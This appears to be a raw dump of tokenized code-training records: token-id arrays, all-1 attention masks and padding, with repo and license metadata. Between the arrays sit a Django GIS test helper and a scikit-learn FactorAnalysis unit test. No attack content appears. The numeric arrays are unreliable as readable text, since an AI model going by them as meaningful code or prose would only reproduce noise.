57,
3295,
77,
3295,
68,
450,
40,
2689,
45,
2689,
51,
4111,
70,
7,
199,
199,
21161,
275,
469,
272,
283,
1102,
356,
283,
5967,
297,
272,
283,
697,
356,
283,
396,
297,
272,
283,
2593,
356,
11624,
12,
272,
283,
3832,
356,
715,
12,
272,
2560,
3723,
356,
469,
267,
283,
1516,
14,
3009,
356,
469,
288,
283,
1631,
356,
283,
8644,
921,
2113,
26,
4731,
32,
21110,
2589,
1252,
1102,
450,
23220,
5,
2589,
1252,
697,
450,
3524,
267,
789,
272,
789,
199,
93,
199,
199,
9984,
31168,
4479,
63,
2707,
63,
8366,
275,
469,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
3669,
356,
30098,
17041,
12,
199,
93,
199,
199,
9984,
31168,
4479,
63,
2707,
63,
10383,
275,
469,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
3669,
356,
30098,
17041,
12,
272,
283,
2645,
356,
283,
4239,
7,
199,
93,
199,
199,
9984,
31168,
4479,
63,
2707,
63,
10383,
63,
2826,
63,
17998,
275,
469,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
3669,
356,
30098,
17041,
199,
93,
421,
199,
9984,
31168,
4479,
275,
469,
272,
283,
344,
356,
5377,
1208,
14,
4208,
63,
2580,
1062,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
3669,
356,
30098,
17041,
12,
272,
283,
2645,
356,
283,
4239,
297,
272,
283,
1715,
63,
344,
356,
2650,
885,
13,
1715,
4206,
272,
283,
3966,
63,
292,
356,
620,
8,
2083,
14,
2083,
14,
10779,
4000,
272,
283,
5334,
63,
292,
356,
620,
8,
2083,
14,
2083,
14,
10779,
1012,
199,
93,
199,
199,
9984,
31168,
4479,
63,
9139,
63,
1193,
25086,
748,
63,
8609,
275,
469,
272,
283,
344,
356,
5377,
1208,
14,
4208,
63,
2580,
1062,
272,
283,
354,
356,
283,
396,
297,
272,
283,
1802,
356,
283,
1662,
511,
2202,
297,
272,
283,
2911,
63,
698,
356,
283,
41,
883,
1050,
15685,
473,
2934,
2348,
297,
272,
283,
3669,
356,
30098,
17041,
12,
272,
283,
2645,
356,
283,
4239,
297,
199,
93,
199,
199,
9984,
31168,
4479,
63,
2846,
275,
1592,
14,
8263,
8,
272,
1305,
29,
9984,
31168,
4479,
459,
344,
995,
272,
536,
29,
9984,
31168,
4479,
459,
354,
995,
272,
1369,
29,
9984,
31168,
4479,
459,
1802,
995,
272,
2860,
29,
1574,
14,
8293,
8,
21161,
395,
272,
4194,
29,
9984,
31168,
4479,
459,
2645,
995,
272,
2199,
63,
344,
29,
9984,
31168,
4479,
459,
1715,
63,
344,
995,
272,
2737,
63,
292,
29,
2083,
14,
2083,
14,
9866,
8,
9984,
31168,
4479,
459,
3966,
63,
292,
995,
5101,
17971,
10931,
63,
4807,
395,
272,
4588,
63,
292,
29,
2083,
14,
2083,
14,
9866,
8,
9984,
31168,
4479,
459,
5334,
63,
292,
995,
5101,
17971,
10931,
63,
4807,
9,
199,
9,
199,
199,
9984,
31168,
4479,
63,
2846,
63,
9139,
63,
10797,
63,
998,
275,
5070,
13679,
615,
4479,
63,
2846,
14,
362,
63,
6311,
342,
199,
9984,
31168,
4479,
63,
2846,
63,
9139,
63,
10797,
63,
998,
14,
1715,
63,
344,
275,
2650,
885,
13,
1715,
3524,
199,
199,
9984,
31168,
4479,
63,
2846,
63,
12511,
275,
469,
75,
26,
373,
367,
1022,
12,
373,
315,
5070,
13679,
615,
4479,
63,
2846,
14,
1744,
12737,
199,
199,
23612,
1149,
63,
21161,
275,
1331,
14,
8293,
8,
21161,
9,
199,
23612,
1149,
63,
21161,
459,
1102,
418,
275,
283,
4195,
14,
16,
14,
16,
14,
17,
7,
199,
2707,
63,
23612,
1149,
63,
9984,
31168,
4479,
275,
1331,
14,
8293,
8,
9984,
31168,
4479,
63,
2707,
63,
10383,
9,
199,
2707,
63,
23612,
1149,
63,
9984,
31168,
4479,
459,
3669,
418,
275,
2022,
14,
4180,
8,
23612,
1149,
63,
21161,
9,
199,
23612,
1149,
63,
9984,
31168,
4479,
275,
1331,
14,
8293,
8,
9984,
31168,
4479,
9,
199,
23612,
1149,
63,
9984,
31168,
4479,
459,
3669,
418,
275,
2022,
14,
4180,
8,
23612,
1149,
63,
21161,
9,
199,
23612,
1149,
63,
9984,
31168,
4479,
63,
2846,
275,
1592,
14,
8263,
3682,
9984,
31168,
4479,
63,
2846,
63,
12511,
9,
199,
23612,
1149,
63,
9984,
31168,
4479,
63,
2846,
14,
3669,
275,
1331,
14,
8293,
8,
23612,
1149,
63,
21161,
9,
199,
199,
17749,
63,
9984,
31168,
4479,
275,
1683,
14,
11988,
8,
1107,
63,
585,
29,
9984,
31168,
4479,
63,
2846,
9,
199,
17749,
63,
9984,
31168,
20967,
275,
1683,
14,
11988,
8,
1107,
63,
585,
1524,
9984,
31168,
4479,
63,
2846,
566,
199,
17749,
63,
23612,
1149,
63,
9984,
31168,
4479,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jiangwei1221/django-virtualenv-demo
|
env/lib/python2.7/site-packages/django/contrib/gis/tests/__init__.py
|
110
|
1099
|
def geo_apps():
"""
Returns a list of GeoDjango test applications that reside in
`django.contrib.gis.tests` that can be used with the current
database and the spatial libraries that are installed.
"""
from django.db import connection
from django.contrib.gis.geos import GEOS_PREPARE
from django.contrib.gis.gdal import HAS_GDAL
apps = ['geoapp', 'relatedapp']
# No distance queries on MySQL.
if not connection.ops.mysql:
apps.append('distapp')
# Test geography support with PostGIS 1.5+.
if connection.ops.postgis and connection.ops.geography:
apps.append('geogapp')
# The following GeoDjango test apps depend on GDAL support.
if HAS_GDAL:
# Geographic admin, LayerMapping, and ogrinspect test apps
# all require GDAL.
apps.extend(['geoadmin', 'layermap', 'inspectapp'])
# 3D apps use LayerMapping, which uses GDAL and require GEOS 3.1+.
if connection.ops.postgis and GEOS_PREPARE:
apps.append('geo3d')
return [('django.contrib.gis.tests', app) for app in apps]
|
unlicense
|
[
318,
8509,
63,
5181,
837,
272,
408,
272,
1803,
282,
769,
402,
8875,
9323,
511,
13103,
626,
295,
2441,
315,
272,
658,
1176,
14,
2828,
14,
5668,
14,
2219,
64,
626,
883,
506,
1202,
543,
314,
1453,
272,
3050,
436,
314,
11469,
8363,
626,
787,
4903,
14,
272,
408,
272,
687,
1639,
14,
697,
492,
1950,
272,
687,
1639,
14,
2828,
14,
5668,
14,
12151,
492,
11920,
63,
4225,
4014,
37,
272,
687,
1639,
14,
2828,
14,
5668,
14,
11600,
492,
7509,
63,
17835,
339,
8686,
275,
788,
6721,
571,
297,
283,
2407,
571,
418,
339,
327,
3091,
6033,
9212,
641,
11200,
14,
272,
340,
440,
1950,
14,
1483,
14,
8644,
26,
267,
8686,
14,
740,
360,
2686,
571,
358,
339,
327,
1379,
8509,
9773,
2291,
543,
20929,
413,
14,
21,
26240,
272,
340,
1950,
14,
1483,
14,
1932,
5668,
436,
1950,
14,
1483,
14,
6721,
9773,
26,
267,
8686,
14,
740,
360,
303,
974,
571,
358,
339,
327,
710,
2569,
8875,
9323,
511,
8686,
11687,
641,
15801,
2291,
14,
272,
340,
7509,
63,
17835,
26,
267,
327,
8875,
9770,
4628,
12,
11915,
7674,
12,
436,
20713,
10955,
511,
8686,
267,
327,
1006,
4409,
15801,
14,
267,
8686,
14,
2880,
2941,
6721,
2113,
297,
283,
1897,
1130,
297,
283,
10955,
571,
1105,
398,
327,
650,
36,
8686,
675,
11915,
7674,
12,
1314,
4440,
15801,
436,
4409,
11920,
650,
14,
17,
26240,
267,
340,
1950,
14,
1483,
14,
1932,
5668,
436,
11920,
63,
4225,
4014,
37,
26,
288,
8686,
14,
740,
360,
6721,
19,
68,
358,
272,
372,
4274,
1176,
14,
2828,
14,
5668,
14,
2219,
297,
1145,
9,
367,
1145,
315,
8686,
61,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
8509,
63,
5181,
837,
272,
408,
272,
1803,
282,
769,
402,
8875,
9323,
511,
13103,
626,
295,
2441,
315,
272,
658,
1176,
14,
2828,
14,
5668,
14,
2219,
64,
626,
883,
506,
1202,
543,
314,
1453,
272,
3050,
436,
314,
11469,
8363,
626,
787,
4903,
14,
272,
408,
272,
687,
1639,
14,
697,
492,
1950,
272,
687,
1639,
14,
2828,
14,
5668,
14,
12151,
492,
11920,
63,
4225,
4014,
37,
272,
687,
1639,
14,
2828,
14,
5668,
14,
11600,
492,
7509,
63,
17835,
339,
8686,
275,
788,
6721,
571,
297,
283,
2407,
571,
418,
339,
327,
3091,
6033,
9212,
641,
11200,
14,
272,
340,
440,
1950,
14,
1483,
14,
8644,
26,
267,
8686,
14,
740,
360,
2686,
571,
358,
339,
327,
1379,
8509,
9773,
2291,
543,
20929,
413,
14,
21,
26240,
272,
340,
1950,
14,
1483,
14,
1932,
5668,
436,
1950,
14,
1483,
14,
6721,
9773,
26,
267,
8686,
14,
740,
360,
303,
974,
571,
358,
339,
327,
710,
2569,
8875,
9323,
511,
8686,
11687,
641,
15801,
2291,
14,
272,
340,
7509,
63,
17835,
26,
267,
327,
8875,
9770,
4628,
12,
11915,
7674,
12,
436,
20713,
10955,
511,
8686,
267,
327,
1006,
4409,
15801,
14,
267,
8686,
14,
2880,
2941,
6721,
2113,
297,
283,
1897,
1130,
297,
283,
10955,
571,
1105,
398,
327,
650,
36,
8686,
675,
11915,
7674,
12,
1314,
4440,
15801,
436,
4409,
11920,
650,
14,
17,
26240,
267,
340,
1950,
14,
1483,
14,
1932,
5668,
436,
11920,
63,
4225,
4014,
37,
26,
288,
8686,
14,
740,
360,
6721,
19,
68,
358,
272,
372,
4274,
1176,
14,
2828,
14,
5668,
14,
2219,
297,
1145,
9,
367,
1145,
315,
8686,
61,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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.com>
# Alexandre Gramfort <alexandre.gramfort@inria.fr>
# License: BSD3
import numpy as np
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.exceptions import ConvergenceWarning
from sklearn.decomposition import FactorAnalysis
from sklearn.utils.testing import ignore_warnings
# Ignore warnings from switching to more power iterations in randomized_svd
@ignore_warnings
def test_factor_analysis():
# Test FactorAnalysis ability to recover the data covariance structure
rng = np.random.RandomState(0)
n_samples, n_features, n_components = 20, 5, 3
# Some random settings for the generative model
W = rng.randn(n_components, n_features)
# latent variable of dim 3, 20 of it
h = rng.randn(n_samples, n_components)
# using gamma to model different noise variance
# per component
noise = rng.gamma(1, size=n_features) * rng.randn(n_samples, n_features)
# generate observations
# wlog, mean is 0
X = np.dot(h, W) + noise
assert_raises(ValueError, FactorAnalysis, svd_method='foo')
fa_fail = FactorAnalysis()
fa_fail.svd_method = 'foo'
assert_raises(ValueError, fa_fail.fit, X)
fas = []
for method in ['randomized', 'lapack']:
fa = FactorAnalysis(n_components=n_components, svd_method=method)
fa.fit(X)
fas.append(fa)
X_t = fa.transform(X)
assert_equal(X_t.shape, (n_samples, n_components))
assert_almost_equal(fa.loglike_[-1], fa.score_samples(X).sum())
assert_almost_equal(fa.score_samples(X).mean(), fa.score(X))
diff = np.all(np.diff(fa.loglike_))
assert_greater(diff, 0., 'Log likelihood dif not increase')
# Sample Covariance
scov = np.cov(X, rowvar=0., bias=1.)
# Model Covariance
mcov = fa.get_covariance()
diff = np.sum(np.abs(scov - mcov)) / W.size
assert_less(diff, 0.1, "Mean absolute difference is %f" % diff)
fa = FactorAnalysis(n_components=n_components,
noise_variance_init=np.ones(n_features))
assert_raises(ValueError, fa.fit, X[:, :2])
f = lambda x, y: np.abs(getattr(x, y)) # sign will not be equal
fa1, fa2 = fas
for attr in ['loglike_', 'components_', 'noise_variance_']:
assert_almost_equal(f(fa1, attr), f(fa2, attr))
fa1.max_iter = 1
fa1.verbose = True
assert_warns(ConvergenceWarning, fa1.fit, X)
# Test get_covariance and get_precision with n_components == n_features
# with n_components < n_features and with n_components == 0
for n_components in [0, 2, X.shape[1]]:
fa.n_components = n_components
fa.fit(X)
cov = fa.get_covariance()
precision = fa.get_precision()
assert_array_almost_equal(np.dot(cov, precision),
np.eye(X.shape[1]), 12)
|
bsd-3-clause
|
[
3,
6529,
26,
2799,
18824,
5653,
593,
2254,
269,
2412,
665,
79,
2254,
26218,
32,
6799,
14,
957,
30,
199,
3,
260,
22986,
28547,
27211,
10279,
665,
24421,
28547,
14,
1679,
10279,
32,
262,
23714,
14,
4391,
30,
199,
3,
844,
26,
6289,
19,
199,
199,
646,
2680,
465,
980,
199,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
19811,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
13154,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
2003,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
3536,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
4398,
63,
1452,
199,
504,
6357,
14,
1208,
14,
4776,
492,
702,
63,
1144,
63,
4398,
63,
1452,
199,
504,
6357,
14,
3924,
492,
11801,
10925,
3849,
199,
504,
6357,
14,
31384,
492,
27348,
13182,
199,
504,
6357,
14,
1208,
14,
4776,
492,
3686,
63,
5451,
421,
199,
3,
14092,
3598,
687,
31620,
370,
1655,
7074,
10615,
315,
2196,
1759,
63,
18675,
199,
32,
4247,
63,
5451,
199,
318,
511,
63,
4778,
63,
10466,
837,
272,
327,
1379,
27348,
13182,
21255,
370,
22803,
314,
666,
13263,
5523,
272,
9038,
275,
980,
14,
2355,
14,
15726,
8,
16,
9,
272,
302,
63,
3356,
12,
302,
63,
3179,
12,
302,
63,
4608,
275,
3388,
12,
959,
12,
650,
339,
327,
6601,
2196,
2202,
367,
314,
1519,
1905,
1402,
272,
644,
275,
9038,
14,
10843,
8,
78,
63,
4608,
12,
302,
63,
3179,
9,
272,
327,
2465,
343,
1750,
402,
8134,
650,
12,
3388,
402,
652,
272,
394,
275,
9038,
14,
10843,
8,
78,
63,
3356,
12,
302,
63,
4608,
9,
272,
327,
1808,
10169,
370,
1402,
3365,
11145,
11773,
272,
327,
1126,
3931,
272,
11145,
275,
9038,
14,
7325,
8,
17,
12,
1568,
29,
78,
63,
3179,
9,
627,
9038,
14,
10843,
8,
78,
63,
3356,
12,
302,
63,
3179,
9,
339,
327,
3550,
19739,
272,
327,
336,
793,
12,
4615,
365,
378,
272,
1323,
275,
980,
14,
3287,
8,
72,
12,
644,
9,
435,
11145,
339,
702,
63,
3536,
8,
3393,
12,
27348,
13182,
12,
26937,
63,
765,
534,
1421,
358,
272,
1433,
63,
1633,
275,
27348,
13182,
342,
272,
1433,
63,
1633,
14,
18675,
63,
765,
275,
283,
1421,
7,
272,
702,
63,
3536,
8,
3393,
12,
1433,
63,
1633,
14,
3269,
12,
1323,
9,
272,
289,
305,
275,
942,
272,
367,
1083,
315,
788,
2355,
1759,
297,
283,
26760,
2565,
267,
1433,
275,
27348,
13182,
8,
78,
63,
4608,
29,
78,
63,
4608,
12,
26937,
63,
765,
29,
765,
9,
267,
1433,
14,
3269,
8,
56,
9,
267,
289,
305,
14,
740,
8,
667,
9,
398,
1323,
63,
84,
275,
1433,
14,
4711,
8,
56,
9,
267,
702,
63,
1452,
8,
56,
63,
84,
14,
1392,
12,
334,
78,
63,
